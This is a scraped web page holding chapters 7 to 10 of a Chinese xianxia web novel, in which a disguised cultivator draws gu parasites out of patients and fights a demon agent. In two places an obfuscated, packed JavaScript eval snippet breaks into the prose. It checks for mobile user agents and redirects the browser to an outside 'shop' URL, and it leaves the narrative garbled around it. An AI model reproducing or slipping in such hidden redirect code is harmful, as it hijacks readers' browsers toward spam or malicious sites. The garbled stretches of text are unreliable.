“诶可不是嘛。”他苦笑一声,压低了声音,“隔壁老陈、对门老刘已经失踪许久,城东摆摊的老陈因为灵力出了问题,硬生生被妖兽撕扯而死。” 他越说越气愤,语气急促,“这只是我认识的!死的死伤的伤,加上失踪的,少说也有二三十人。可城主呢除了压着消息不让外传,还做了什么?” 凌昭眉头紧皱,心中怀疑加深,城主隐瞒了实情。 修士忽然收声,像是耗尽了力气,苦笑着摇头:“我自幼便在这城中,如今……不得不走了。真人,”他抬眼,目光复杂,“您,保重。” 他不再多言,抱拳深深一揖,转身迈出庭院。 凌昭合上院门,摩挲着指尖,驻足良久。 城主到底为什么隐瞒呢。 . 城西别院比凌昭预想的更为冷清。 院落不大,仅有几个医师忙碌着,见气度不凡的女修走进,早已收到消息的医师赶紧上前:"真人您来了啊!” 为首的是个年长的医师,发髻斑白,脸上带着深深的疲惫。他拱手作揖,语气恭敬中透着几分无奈:“在下陈和,是这城中资历最老的医修。他们就在里间,还请真人随我来。” 陈和引着凌昭往里走,穿过一道回廊,便到了厢房。房内陈设简单,摆着三张床榻,三名修士躺在床上,皆是面色灰败、气息虚浮。见她进来,其中一人挣扎着要起身,被陈和按住了。 “莫动,这是飞仙宗来的真人,专程为你们诊治的。” “便是这三位了,”陈和转身躬身,“劳烦真人。” 凌昭皱眉扫视一遍,问道:“只有这三位?妖兽临城,院落里也不见伤者。” 陈和停顿一下,无奈道:“真人有所不知。轻伤者自行调养,重伤不治的……唉,都已安置了。这三位是情况特殊的,灵力出了问题。” “原来如此。”凌昭看着陈和,点头不再追问,转而走向最近的一位患者,“我先看看情况。” 凌昭走到榻前,指尖凝起一缕温和的灵力,轻轻搭上那人的腕脉,“运转灵力。” 那人依言催动功法,凌昭闭目内视,神识随灵力循经脉游走。起初一切顺畅,灵力流过丹田,汇聚不过一瞬便迅速溃散开,根本无法凝聚成形。 她收手,又同样检查了另外两名修士。一样的状况。灵脉完好,灵力充沛,却偏偏运转不起来。 “运转灵力时什么感觉?”凌昭收回手问道。 第一个修士声音干涩着回答:“感觉力不从心。” 凌昭沉吟片刻,转向陈和:“陈医师,您先前诊断,可有什么发现?” 陈和叹了口气,从袖中取出一本记录册:“不瞒真人,这症状实在古怪。老朽行医五十余年,从未见过这般怪症。” 他翻开册子,指着上面的记录:“老朽试过清毒丹、通脉散,甚至冒险用了些刺激灵脉的药,皆无效果。灵力滞涩的程度,反倒是随时间推移在加重。” 凌昭接过记录册,一页页仔细翻看。确实详实,也确实毫无头绪。 在外人眼里她垂眸翻阅,神情专注,仿佛真的在字里行间寻找线索。 实则,她悄然引动藏在袖中的牵影笔,神识在纸页般的虚空中迅速勾画:曦儿,灵力充沛却无法凝聚,灵脉无损但运转滞涩,清毒丹、通脉散似乎也无作用。 不过片刻,凌曦的回应浮现:阿姐可知道蛊虫? 凌昭指尖一顿。蛊虫? 凌曦的信息继续传来:师尊说过,蛊虫如今几乎失传但不排除,蛊虫种类繁多,不排除这种可能。蛊虫怕惊,阿姐可用我的灵器幻针刺激灵脉窍穴,力度三分入脉、七分震神,逼其现行,蛊虫离体最为虚弱,收入玉匣即可……阿姐我前几日教你的针法可还记得? “记得,我先试试。” 凌昭回应简洁,脑中已飞速回忆起凌曦这几日所授,随即“啪”合上册子,面色如常。 “陈医师,”她将册子递还,“我或许有些头绪,需以独门针法一试。还请诸位暂且退至门外,施针时需绝对安静。” 陈和闻言一愣,眼中的犹豫一闪而过,但很快便躬身道:“自当遵从。真人若有需要,随时唤老朽。”说罢,他便领着另外两名医师退了出去,轻轻带上了房门。 门扉合拢的轻响在寂静的房里格外清晰。 凌昭转身,从储物戒中取出一套银针——这是凌曦的灵器幻针,针身细如牛毫。她拈起几根,指尖抚过微凉的针体,心中默念口诀。 第一个修士躺在榻上,见她持针走近,眼中流露出希冀与紧张。 “放松。” 凌昭声音平静,指尖灵力注入,几根幻针泛起一层白光。她凝神,神识如丝线般缠绕针尖,将几根针分别刺入几处穴位。 针入三分,神识随之探入灵脉,瞬间一股阴寒之气缠绕针尖。她果然看到了——一条半透明的虫影正依附在灵脉之中,随着灵力流动微微舒张,贪婪地吞噬着。 真是蛊虫! 那蛊虫被惊扰,在灵脉中猛地一挣,竟要往更深的心脉钻去! 凌昭神色一凝,看准蛊虫逃窜的方位,将几根幻针刺入七分,封死了它所有退路。她右手食指与中指并拢,隔空点向修士胸前穴位。 嗤—— 一声轻微的声响自修士体内传出。修士浑身剧颤,额上青筋暴起,喉咙里发出痛苦的嗬嗬声。凌昭不敢松懈,神识牢牢锁定那处——只见那蛊虫在灵脉中被震得翻滚,终于忍受不住,冲着凌昭留下的生路,猛地从修士鼻腔中钻了出来! 蛊虫通体滑腻,在空中疯狂扭动,发出细微的嘶鸣声。 凌昭早有准备,一个密封的玉匣早已托在掌心。她手腕一翻,匣口对准那蛊虫,灵力一引。 嗖—— 蛊虫便被吸入匣中。匣盖“咔哒”合拢,将那令人不安的嘶鸣彻底隔绝。 榻上的修士如同被抽空了所有力气,大口喘着气,但原本灰败的脸色却以肉眼可见的速度恢复了一丝红润。 凌昭自己也轻轻舒了口气,额角渗出细汗。第一次使用幻针逼蛊,对神识的控制要求极高,稍有偏差便可能反伤自身神魂。 没有时间休息,她走向第二张床榻。 有了第一次的经验,第二人的过程顺利了不少。依旧是封穴、震神、逼出、收蛊。只是这人体内的蛊虫似乎更为成熟些,离体时竟试图扑向凌昭面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人抱头痛呼,七窍渗出血丝,攻势瞬间瓦解,瘫软在地,意识陷入混沌。对付筑基修士,金丹大后期的神识足以,更何况凌昭神识一向强于大部分同阶修士。 陈和脸上的狞笑彻底僵住,他显然没料到对方解决得竟如此轻描淡写。 但他毕竟也是个金丹修士,反应极快,低吼一声,周身幽绿毒光暴涨,双手在胸前急速掐诀,闪烁着不祥黑气的毒锥凭空凝成,飞向凌昭!毒锥所过之处,滋滋声响。 毒修! 凌昭眼神微凝,掌中玉匣早已换成一把小巧的木剑——平常训练的木剑,与真正的灵剑相差甚远。 但也足够了。 面对飞来的毒锥,凌昭不退反进,手腕一抖,木剑平平递出。 没有闪烁剑光,木剑的剑尖仅在刹那间划过几道剑气,精准无比地打在毒锥侧面,随着一声轻响,毒锥擦着凌昭身侧掠过,深深没入后方墙壁,滋滋作响。 陈和大惊失色,还未等他变招,凌昭的身影悄然逼近。木剑在她手中仿佛有了生命,剑势大涨。 陈和只觉周身灵力运行处处受制,仿佛陷入无形泥潭。 “你……你绝非医修!”陈和又惊又怒,嘴角溢出鲜血,在紧急关头拼命打出几枚毒锥,飞速逃出房间。 凌昭眼神一冷,木剑上青光骤起。 这一剑,快得超越了陈和的反应。毒锥根本抵挡不住剑气,眨眼间追上陈和。 “噗嗤!” 陈和还未迈出房门,剑尖已然刺入对方肩膀,他浑身剧震,张口喷出一股黑血,狠狠撞破房门,摔在外面的回廊地上,翻滚数圈才勉强停住,趴在地上奄奄一息。 凌昭轻啧一声,那把木剑已然深深刺入对方肩膀,沾满黑血,显然不能要了。 她正欲迈步上前,脚步却猛地顿住。 她抬起眼的瞬间,视线越过狼狈不堪的陈和,落在了回廊前方,院落中央。 一道挺拔如松的月白身影,不知何时已悄然静立在那里。这次,他并未束发,发尾随着风飘动。 是北山霁,他正静静地看着这边,目光沉静。 四目相对,空气仿佛在这一刻凝固。 8. 第八章 凌昭站在原地,指尖几不可察地蜷缩了一下,又缓缓松开。 绝不能先开口。先开口等于承认心虚。 她微微吸了口气,强迫自己将视线从北山霁身上移开,她走向瘫在回廊地上的陈和,蹲下身,指尖凝聚灵力,迅速封住他几处大穴,防止他自毁。 动作流畅,神情专注,仿佛刚才那凌厉的剑招从未发生过。 她起身准备将屋内的三个人拖出来一起盘问,转身就见北山霁何时已然靠近,脚边还堆着三具烂泥般的躯体,一看就知道刚刚被打的多惨。 她心里悔恨,早知道刚刚收着力道了! 她轻咳一声转身盘问陈和,声音平静:“陈医师,蛊虫是怎么一回事,还有城主又在扮演什么角色?” 陈和肩头的伤口汩汩冒着黑血,闻言只是惨笑,眼神涣散,竟是要咬舌自尽! 凌昭暗道不好,疏忽了,正要阻止。 “咻” 一道极细微的破空声。 一枚小石子精准地打在陈和下颚某处,陈和闷哼一声,下颌顿时脱力,瘫软下去。 凌昭动作顿住,没有回头,却能感知到北山霁不知何时已走近了几步。 “咬舌对修士无用,但常于舌下□□。” 凌昭垂下眼帘,她当然知道,暗暗唾弃自己,怎么一时慌了神疏忽了这一点。 她指尖灵力探入陈和喉部,在舌根深处找到一个极微小的毒囊。她将其逼出,用玉匣封好。做完这一切,她才站起身,扬起温和笑容索性问个清楚。 “多谢师兄。”她微微颔首,浅笑着问,“师兄怎会在此?” 北山霁先是看了一眼浸染黑血的木剑,才对上凌昭含笑的眼睛,仅一瞬他就移开视线,随口解释:“长岁宁求援。” 嗯?那你不去找长岁宁,来找我? 凌昭心中虽疑惑,面上却依旧浅笑着:“师兄当真是尽心尽力的。” 北山霁的目光在她含笑的脸上停留了一瞬,仿佛在审视那笑容里有几分真意。 他没有接她的话,转而看向地上气息奄奄的陈和,声音听不出情绪:“先审。” 他向前几步,在陈和身侧站定,并未俯身,只并指虚虚一点。一道凛冽的剑气自他指尖溢出,并不伤人,却如同无形的网笼罩住陈和,那原本因剧痛和恐惧而涣散的眼神猛地一清,本能地战栗。 “可以问了。” 目睹一切的凌昭内心啧啧出声,“头悬利剑”,像陈和这种贪生怕死之人最好的心理战术。 “陈和,蛊虫从何而来?谁指使你所为?城主郑德,在这其中到底知道多少,又做了什么?” 剑气镇压下,陈和浑身颤抖,嘴唇哆嗦,眼神挣扎。北山霁指尖微动,陈和立刻发出一声短促的哀鸣,额头青筋暴起,防线彻底崩溃。 “是、是大人!一切都是那位大人!”陈和崩溃出声,“真人救救我、救救我,我都是被迫的。” “大人是谁?说清楚。”凌昭继续逼问。 “不知道……他总戴着兜帽,气息很冷……”陈和断断续续说着,带着哭腔,“那位大人给我蛊种,让我找、找修士种下事成后,许我元婴修为,否则让我成为蛊虫的养料,我真是迫不得已啊!真人救救我……” 凌昭眉头蹙起还未出声,陈和尖声叫道:“对!对,还有城主,城主他也知情,一直都是他和大人接头!” 可算说到点子上了。凌昭都没有继续逼问,陈和就破罐子破摔,把城主全都抖了出来。 “城中大部分修士都被拉去种蛊,就在地牢!城主他、他身上有……” 话音未落,异变再生! 陈和原本恐惧的脸,骤然僵住。他双眼死死瞪着前方虚空,仿佛看到了什么极端恐怖的东西。紧接着,他皮肤下数个鼓包猛地凸起,剧烈蠕动! “退!” 北山霁低喝一声反应极快,拉住凌昭瞬间退出一大段距离。几乎同时,陈和身上的鼓包“噗”地炸开,一道黑气溢出,虽只逸出一缕,却带着令人作呕的阴寒,是最为纯粹的、令正道修士本能排斥的魔气! 凌昭与北山霁几乎同时出手。凌昭指尖青光一闪,灵刃疾射而出。北山霁的动作更是迅捷,甚至未见如何作势,便有一道雪亮剑气后发先至,与那灵刃一前一后,精准地斩灭那缕黑气。 而陈和的尸身,连同旁边那三名早已昏死的筑基修士,已在方才那剧烈的冲击下彻底毁坏,血肉模糊,不成人形,死状可怖。 凌昭皱眉盯着前方,神情凝重。 “是魔气。”北山霁陈述着,“需要上报宗门。” 仙门与这些魔族征战千万年,而自万年前,魔族深渊被一位剑修前辈封印之后,魔族便销声匿迹,如今突然出现,是极其严峻之事。 魔族可能要卷土重来了。 陈和死的突然,这件事依旧疑点重重,目前只能去找城主。 “师兄走吧,”凌昭收起玉简,“长师弟他们也有情报,已经赶往城主府了。” 二人并肩走出院门,北山霁突然开口:“你会剑招。” 凌昭脚步一顿,心道:还是来了,但她没想到北山霁这么会为她“找理由”。 “师妹刚才那几式,虽无固定章法,却……”北山霁顿了一下,“你秘境得到的传承是剑术?” 有了台阶,凌昭顺势就下了。 “师兄这么一说,”凌昭放缓了脚步,偏头努力回想,“我自己也觉得奇怪。当时情急,根本没多想手就动了。现在想想,脑子里好像确实有零零碎碎的影子……但很模糊,抓不住。” “只是让师兄见笑了,我这不像样的剑招,在真正的剑修面前,怕是贻笑大方。”凌昭语气带着自嘲,真假参半。 北山霁脚步未停,“机缘难以常理来论,若师妹日后有意,可来无极峰学习。” “多谢师兄指点。”凌昭温婉一笑,将话题轻轻带过,“若有闲暇,定去拜访。眼下还是先处理城中变故要紧。” 北山霁“嗯”了一声,不再多言。 两人很快回到城主府附近的约定汇合点。只有长岁宁和从小乙在等候,见他们回来,立刻迎上。 “大师兄!凌师姐!”长岁宁脸上带着急色,“我们发现那些妖兽身上有魔气!” “我和小乙在城外清理最后一批妖兽时发现的!那些妖兽的眼睛发红,气息暴躁,起初以为是寻常狂化,但斩杀后,有魔气溢出!” 从小乙在一旁用力点头,脸色更加苍白,手指无意识地绞着衣角。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164926|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌昭也简单交代了一下刚刚发生的事。 “魔族?”长岁宁倒吸一口凉气,“他们不是被封印在深渊了吗?怎么会跑到清心城来……” “把你封印住,你不会想法子出来啊!蠢。” 一句嘲讽的话砸下,同时砸下的还有一个五花大绑的人。 几人一瞬间愣住,定睛一看是城主郑德,显然已经晕过去。 “我来了。”悬玉晃悠悠的从几人身后绕过来,唇角一勾,“城主和魔族勾结杀了吧。” “啊?”长岁宁率先出声,惊讶中带着疑惑。 “盘问了?”北山霁淡声质疑。 “没。”悬玉挖挖耳朵,“这蠢货给的阵法图是专门吸引妖兽的,让我对着修,真当我蠢啊看不出来。杀了吧。” “……” 悬玉这过于干脆粗暴的提议,让在场几人一时都有些无言。 合着就是个人怨念。 凌昭心中感慨,再次刷新了对悬玉性格多样性的认知,这种无理取闹的态度,还真是让人想打他一顿。 “师兄,”凌昭无奈地揉了揉额角,看向北山霁,“城主毕竟是事情关键,不如……先带回城主府?那里终究是他的地方,或有线索,也可避免在外久留,徒增变数。” 北山霁略一沉吟,目光扫过地上昏迷不醒、气息微弱的郑德,又瞥了眼不远处沉寂的城主府方向,最终点头。 悬玉轻嗤一声,倒也没再反对,只懒洋洋道:“行吧,毕竟北山师兄来了。不过这老头醒着麻烦,再让他睡会儿。”说着,指尖又弹出一道细微灵光,没入郑德眉心,确保他短期内不会自行转醒。 事不宜迟。 北山霁示意长岁宁将郑德带上,五人不再耽搁,大摇大摆的进了城主府。 对,大摇大摆,护卫都被提前打晕了。 他们随便找了一处僻静的院落,院落不大,陈设简单,像是偶尔用来待客的厢房。北山霁挥手布下几重隔音禁制。 郑德被随意放在了地上,依旧昏迷。 几人围着郑德,悬玉则靠着石桌,似乎对盘问没什么兴趣。 “嘿,把他弄醒吧。” 长岁宁刚说完,悬玉便指尖一弹,一道灵光砸入郑德脑门,原先昏睡的郑德瞬间清醒,一脸恐惧。 “谁!到底是谁!” 郑德惊恐地环视一圈,看清几人的面容,瞬间面色更苍白了,像是想到了什么恐怖的事。 “你、你们……”他声音颤抖仍故作镇静,“几位真人这是何意?无缘无故抓本城主,就算是大宗弟子也、也说不过去!” “陈和都告诉我们了。”凌昭出声提醒。 瞬间,郑德哑声,浑身颤抖着,夹杂着被看穿的绝望。 “只要你都如实告知,可留你一命。”北山霁出声,“否则……” 北山霁话还没说完,郑德就慌忙出声,“我说!我说!” 这下轮到凌昭几人沉默了,都说屈打成招,这也没打,威胁一下就招了? 凌昭凝视良久,开口:“悬玉师兄可有真言符?” 话落,一张符纸飞出精准贴在郑德脑门,符纸瞬间亮起,郑德浑身一颤,眼神涣散。 “时效半个时辰,快问。” 9. 第九章 院落里落针可闻,风过檐角,发出细弱呜咽。 有真言符在,几人很快厘清了事情大致——这就是魔族布下的一场针对修士的局! 数月前,一个修为莫测的神秘兜帽人潜入清心城,先后寻到了身为城主的郑德与城中资历最老的医修陈和。用全城人性命威胁二人,命他们将蛊虫分批种在修士体内,并将快成熟的关在地牢,直到蛊虫成熟收集起来,届时他们会在城南破庙交接,而这件事一直持续到吸引宗门的人来。 “你说蛊虫以吸食修士灵气为生,吸收运转的灵气加速成熟?”长岁宁恍然大悟,“所以你将护城阵法改成吸引妖兽的,逼修士频繁出手,加速蛊虫成熟。” 郑德在真言符的作用下木然点头:“是……大人说,越是资质好、修为高的修士,养出的蛊虫品质越佳。” 话落,一声嗤笑砸下,悬玉略带讽刺的开口:“老家伙不太老实啊,怎么不说给了你什么好处?” 悬玉问出了大家所想。 若说以全城人性命相逼,可如今城中荒凉,和全死了有什么区别?定然是有好处的。有“威逼”怎么会没有“利诱”呢。 郑德的身体猛地一颤,额上真言符一闪,迫使他开口:“大人说,只要我办好,事成之后……可、可助我突破至元婴……” 元婴! 长岁宁倒吸一口凉气,众人都无声中齐齐看向郑德。 金丹到元婴是一道天堑,多少修士终其一生卡在金丹,寿元耗尽也摸不到元婴门槛。就连凌昭,她自认修炼算快的,但如今卡在金丹迟迟不破境,便是因为这中间始终需要一个机缘。 对于一个困守一城、资质或许已到极限的金丹修士而言,这个许诺,足以让人铤而走险。 悬玉“哦”了一声,拉长了调子嘲讽语气拉满:“嗤,空口白牙的话,这就信了。” 郑德嘴角微动但最终没有说话,只是眼底闪过复杂深色,恐惧、贪婪。 凌昭将一切尽收眼底,没有插话。 北山霁忽然开口,转到另一个关键:“你需要亲自接头?” 郑德点头:“是,每隔三日子时,我需亲自前往城南破庙,交付成熟的子蛊。” “今日便是第三日。”北山霁看向窗外,暮色已沉如浓墨。 这话不是商量,是结论。 长岁宁立刻明白了意思:“奥!大师兄是想将计就计!” 北山霁“嗯”了一声,言简意赅,“郑德照常赴约,你我暗中跟随。若能当场擒住那魔族,或可得更多线索。即便不能,也可探其虚实。” 他转而看向凌昭:“凌师妹同去。若对方用蛊,需你从旁应对。” 凌昭浅笑一下点头,“理应如此。” 长岁宁急了:“诶大师兄,那我和小乙呢?地牢里那些人……” “救人。”北山霁看向悬玉,“悬师弟,地牢那边交予你。救人,探查,若有可能,尽量保住那些修士性命,以便宗门弄清蛊虫。” 悬玉挑眉,倒也没反对这个安排。他擅长阵法符箓,去地牢无非弄个传送阵法,确实比正面搏杀更合适。 “行吧,”他勾唇应下。 “等、等一下。” 从小乙握着龟甲的手攥紧,鼓起勇气说:“城南那边我算不出来,这意味着十分凶险,已经远超我能预测的凶险程度。” 一行人都望着她,她难免有些紧张,磕磕绊绊补了一句:“要、要小心。” 北山霁微微点头算是应允。 “事不宜迟,准备动身。”他目光落回郑德身上,真言符已经失去光泽,“郑城主,劳烦带路。该如何说,如何做,你当清楚。莫要妄动。” 郑德被那剑气一激,浑身发冷,连声应道:“明白、明白……” 北山霁又弹指打出三道符箓,悄无声息地没入郑德后背。凌昭认得,那是锁灵符,能暂时压制其灵力运转,更能在关键时刻远程制住其行动。 做完这些,北山霁跟着郑德走在前面,凌昭回头看了眼仍在紧张的从小乙,笑了下以示安慰,转身跟上北山霁。 . 夜色笼罩了这座城,空旷的街道,门户紧闭,风鬼啸着卷起尘土,在地上打着转。 郑德被北山霁灵力推着走,看似并行,实则身不由己。他面色灰败,眼神躲闪,不时偷偷瞟一眼身侧或身后不远处的凌昭,额角冷汗被夜风吹干,又渗出新的。 凌昭跟在他们身后几步,这个位置既能观察前方动静,又能兼顾后方可能出现的危险。她的大部分注意力都放在周围环境上,神识如网般谨慎地铺开,捕捉着任何一丝异动。 越往城南,阴寒气息越重,陈年香火霉变的味道一个劲的钻进鼻腔。 走在前面的北山霁忽然毫无征兆地停下了脚步。 凌昭立刻止步,收敛声息。 只见郑德闭眸原地转起圈,口中呢喃着,眨眼间场景发生了变化。 前方一片荒芜的空地中央,破败庙宇的轮廓渐渐显现。庙墙大半坍塌,残存的墙体歪斜着指向夜空,庙门早已不见,只剩下一个黑洞洞的入口,像一张嘶吼的巨口。 凌昭略微挑眉,原来被隐藏起来了。 此刻,庙前空无一人,只有荒草在夜风中起伏,但凌昭的神识边缘,敏锐地感知到一股黏腻的气息一闪而逝。 里面有人。而且,很强。 北山霁显然也察觉了。他侧脸轮廓在夜色中显得格外冷硬,目光扫过破庙阴影。他没有回头,传音入耳: “照常进去。凌师妹,你与我分守庙外两侧,见机行事。” 他收了禁锢的灵力,郑德踉跄一步,勉强站稳。他回头看了一眼身后两人,夜色下那两张年轻的面孔没有任何表情,只有一片沉静的冷然。 郑德咽了口唾沫,嘴角似乎动了,终是转过身,一步一步,朝着那黑洞洞的庙门走去。 北山霁与凌昭对视一眼,默契地同时向两侧散开,隐匿在土墙之后,身形与阴影完美融合。 两人的位置,恰好能交叉观察到庙内情形,又能互相照应。 郑德来到庙门,再次原地转圈,口中呢喃着听不懂的语言,随着时间推移,黑暗中似乎有什么蠕动,紧接着一点幽绿色的火光,突兀地在庙堂深处亮起。那火光不大,绿莹莹的,照出残破的神像底座,映出一道被拉得极长且扭曲的黑色身影。 这个距离,为了不打草惊蛇,二人都不敢放开神识探查,只能依稀辨出二人在对话。 突然,那道黑影消失。 凌昭暗道:不好! 果然,后背一阵阴寒传来! 凌昭甚至来不及回头,身体已先于意识做出反应——足尖一点,身形飘出三尺,同时袖中滑出三枚银针,头也未回便向后疾射。 叮、叮、叮—— 三声脆响,银针似撞上无形屏障,纷纷弹开。但那阴寒气息也为之一滞。 借着这瞬息空隙,凌昭终于看清来袭者——正是庙中那道黑影,此刻离得近了,兜帽下闪烁着鬼火般的双眼。 “反应不慢。”冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164927|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音带着玩味,“可惜,也只是如此。” 话音未落,黑影再次消失。并非遁术,而是速度太快,在夜色中拉出一道残影,这次直扑凌昭面门。 这一击比刚才更快、更狠,几乎封锁了她所有闪避角度。凌昭神色不变,体内灵力本能地就要以最擅长的身法应对,硬生生压住——不能暴露! 刹那间,一道剑光斜刺里斩来。 精准、凌厉,带着浩然剑气,一剑将黑影逼退几丈远。 北山霁持剑而立,挡在凌昭身前,剑尖斜指地面,气息沉稳如山。他并未回头,只低声道:“可有碍?” “无事,多谢师兄。”凌昭迅速调整呼吸,指尖已捻住数枚银针,“师兄这是魔族分身。” 虽然魔族万年未出,但是每一个修士都将熟悉魔族划为本能,魔族真身不易现世,真身一死才算彻底消失了。 那黑影挣扎着站起,发出一阵怪异的笑声:“嗬嗬……好熟悉的剑法、好喜欢!” 话音未落,他身形消失,眨眼间突至面门,却在北山霁起势时,身形“嗖”地冲向身后的凌昭。 凌昭早有防备。她不退反进,脚下步伐变幻,拉开和北山霁的距离,同时和那黑影擦肩而过,而这正好将其背部露出。 北山霁剑随心动。 那黑影身形急转,试图再次隐入夜色,却为时已晚。 剑光并非一道,而是瞬息间分化成三,封死了上、中、下三路,每一道都带着镇岳剑意,狠狠斩落! “镇岳,锁山式。” 黑影周身魔气翻滚,硬撼剑光。 轰! 黑影闷哼一声,被震得向后滑退。就在他身形不稳的刹那,几枚银针已经精准地刺入身体各个部位。 凌昭指尖虚引,轻吐一字:“滞。” 黑影身形骤然一僵,这凝滞只持续了不到一息,但对北山霁而言,已然足够。 他身影如电,瞬间欺近,手中长剑剑气翻滚,直刺黑影心口。 黑影暴怒,魔气凝聚成爪,悍然抓向长剑,想要废掉这把剑。 然而,北山霁这一剑乃是虚招,他轻吐二字:“无吟。” 名剑之一,无吟剑,正是北山霁的本命剑。 剑至中途,陡然变向,由刺转撩,避开魔爪,自下而上斜掠,目标直指黑影头颅。 黑影被迫仰头闪避。 凌昭等的就是这一刻。 魔族深渊封印以来,魔族源源不断的魔气本就稀少,更何况这里是灵界,灵气魔气相生相克。 凌昭手中再次飞出几枚银针,精准地刺入几个穴位。 引灵入体,同杀他无异。 “该死!”黑影发出一声暴怒的嘶吼,还未将银针逼出体内。 “镇岳,斩灵式。” 北山霁一句落下,长剑递出。 嗤! 内外遭受攻击,黑影身体迅速消散,周身的魔气疯狂外泄、溃散,还没汇聚就又被剑气斩灭。 伴随着银针落地,黑影才算彻底消散。 凌昭缓了缓呼吸,面无表情地将地上银针一一收回,实则心里恨不得打自己一顿,她打出去的针,没有及时召回来,妹妹的法器用的还是不太熟练啊! 这个魔族不算弱,若不是二人配合,还不一定打得过。 北山霁收剑归鞘,他转身看向凌昭,目光在她脸上停留一瞬:“可曾受伤?” 凌昭摇了摇头,还未开口,一阵狂笑突兀地传来。 那个方位,是郑德! 10. 第十章 地牢入口嵌在山体深处。 悬玉走在最前方,指尖拈着一张明光符,冷白的光晕只能照亮几步远的距离。他踏下石阶的瞬间,眉头就皱了起来。 “阴气这么重。”他低声说了句,不知是自语还是提醒身后两人。 长岁宁跟在他后面,刚下台阶,就忍不住打了个寒颤。那寒意非冬日干冷,而是渗进骨头缝里的阴寒。他下意识运转灵力,一股暖流才在经脉中升起,下意识开口:“小乙你小心点。” 从小乙点点头紧跟着长岁宁,腰间的龟甲和铜钱随着她的脚步发出细微的磕碰声,在寂静中格外清晰。 石阶很长,越往下走,寒气越重,原本潮湿气味中多了血腥味。 “到了。”悬玉停在最后一级台阶上,符光向前推去。 地牢的全貌在冷白的光晕中显露出来。 这里像是将几间牢房打通,地上还有零星碎石块,石壁上固定着粗黑铁链,而每个修士四肢都被铁链固定,约莫十几名修士,裸露的皮肤泛着不正常的青色,若不是胸口还有微弱的起伏,乍看之下和尸体没什么区别。 悬玉已经走到牢房中央,蹲下身,指尖在地面划过。石板上刻着一些模糊的纹路,他仔细辨认着,“阴气交汇之处,天然聚阴敛寒。关在这里,就算想封住灵脉当个普通人,身体也会本能运转灵力抵抗寒气。” 他抬起眼,嘴角弯起,带着嘲讽:“催熟呢。” 长岁宁闻言打了个冷颤,“嘶,好歹毒。我们得快点把他们都转移出去。”说着望向悬玉等着对方动作。 悬玉看了对方一眼,转身开始丢符纸,“把他们移到中心,我布置转移阵法。” “哦哦。”长岁宁不敢多说,跟着从小乙行动起来,他敢确定刚刚悬玉师兄想翻白眼!一定是! 十几号人,需要的转移阵法并不小。悬玉在地牢各个位置放置玉石,而长岁宁和从小乙重复着斩铁链搬人的动作。 期间,长岁宁无意中吐槽了一句,“这铁链和执事峰禁闭室相比,那个更坚固啊?”说完他就后悔了,他忘了悬玉师禁闭室的常客。 “师弟不知道?”悬玉停下建议道,“改日我带师弟去待几日,如何?” 禁闭室可不兴去啊! 长岁宁埋头干活,不敢再吱声。地牢里只剩下铁链晃动和悬玉偶尔放置玉石时轻微的磕碰声。 三人各自忙碌着。从小乙腰间的铜钱忽然无风自动,发出一阵短促而密集的“嗡嗡”颤鸣,令人心头一紧。 从小乙脸“唰”地失去了血色,她几乎是瞬间抓住了长岁宁的手臂,声音因为恐惧而变调:“跑……快跑!离开这里!” 她的话没头没尾,但长岁宁知道,那铜钱是从小乙的本命法器,这种响声出现是有威胁性命的事要发生。 “悬师兄!”长岁宁来不及解释,猛地扭头朝还在布阵的悬玉大喊。 悬玉的反应比他的声音更快,一种近乎修士应对危险的本能反应逼迫他做出了行动。 他指尖刚拈起一块玉石“啪”地脱手落地。他甚至没有回头确认,身形已如鬼魅般向后急掠,同时袖袍一甩,数张符箓极速飞出分别贴向长岁宁、从小乙和他自己的后背! “走。” 长岁宁二人只觉后背一股大力传来,推得他们不由自主向前扑去,他下意识反手拽住从小乙,三人冲向地牢入口处。 就在他们脚落地的一刹那。 “呃……嗬……” 身后,那十几名原本死寂的修士,喉咙发出痛苦的嘶喊。 悬玉落在最后,回身瞥了一眼。 只见所有修士的身体剧烈颤抖,青色皮肤下有虫子在蠕动,几乎同时,一只只发黑的蛊虫从修士胸膛钻出,虫身膨胀,分明是要爆炸的征兆。 “天!快跑!” 长岁宁大喊的瞬间,悬玉已经催动符箓,让三人彻底远离地牢。 “砰砰砰!” 接二连三的爆炸声在身后追着他们的脚步响起,整个地牢通道都在震颤,不断有碎石砸下。 不知冲了多久,前方终于出现入口的微光,这才彻底摆脱。 悬玉倒是还好,从小乙剧烈的咳嗽着,长岁宁不断拍着她的背,给她顺气。 “怎么回事?”长岁宁声音里带着后怕,“没听说蛊虫成熟会自爆啊!” 悬玉脸色阴沉盯着前面的废墟,轻啧一声没有说话,此刻没有人比他心情更不爽了。 符纸灵石白搭进去,还差点死里面,那个接连爆炸的程度,他还真不能全身而退。 一道飞音传讯突然出现,北山霁明显严肃许多的声音响起: “郑德体内存有母蛊,正在异动,恐将引发大规模兽潮。速至城南破庙汇合。” “呵,说了那老头该死,”悬玉似笑不笑,“走吧。” . 凌昭与北山霁早已在破庙外等候。见三人赶来,北山霁微微颔首,目光在悬玉阴沉的脸上停顿一瞬。 “郑德呢?”悬玉问。 